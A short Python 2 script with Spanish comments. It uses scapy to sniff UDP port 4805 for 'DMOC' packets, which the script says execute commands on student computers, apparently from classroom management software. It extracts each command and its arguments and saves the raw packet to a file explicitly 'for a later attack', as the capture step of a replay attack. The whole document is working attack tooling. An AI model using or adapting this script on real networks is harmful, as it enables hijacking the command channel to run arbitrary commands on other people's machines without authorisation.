#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" Sniffea la red en busca de paquetes DMOC, que ejecutan comandos en alumnos.
Cuando los encuentra, los almacena para un posterior ataque """
# Usamos la librería scapy para sniffear
from scapy.all import *
# Para procesar argumentos
import sys, getopt
filename = 'packet'
def process(packet):
""" La función se invoca pasándole como argumento un paquete UDP """
global filename
# Verificamos que el paquete sea DMOC
if packet.load[:4] == 'DMOC' and len(packet)==948:
data = packet.load
cmd = data[60:]
i = cmd.find('\x00\x00')
cmd = cmd[:i]
args = data[572:]
i = args.find('\x00\x00')
args = args[:i]
f = open(filename,'w')
f.write(data)
f.close()
print cmd, args, 'guardado en', filename
exit()
def uso():
print 'Uso:', sys.argv[0],'[-o foobar]'
exit()
def main():
global filename
try:
opt, args = getopt.getopt(sys.argv[1:], 'o:')
except getopt.GetoptError:
uso()
for op,val in opt:
if op=='-o':
filename = val
sniff(prn=process, filter="udp and port 4805")
if(__name__ == '__main__'):
main()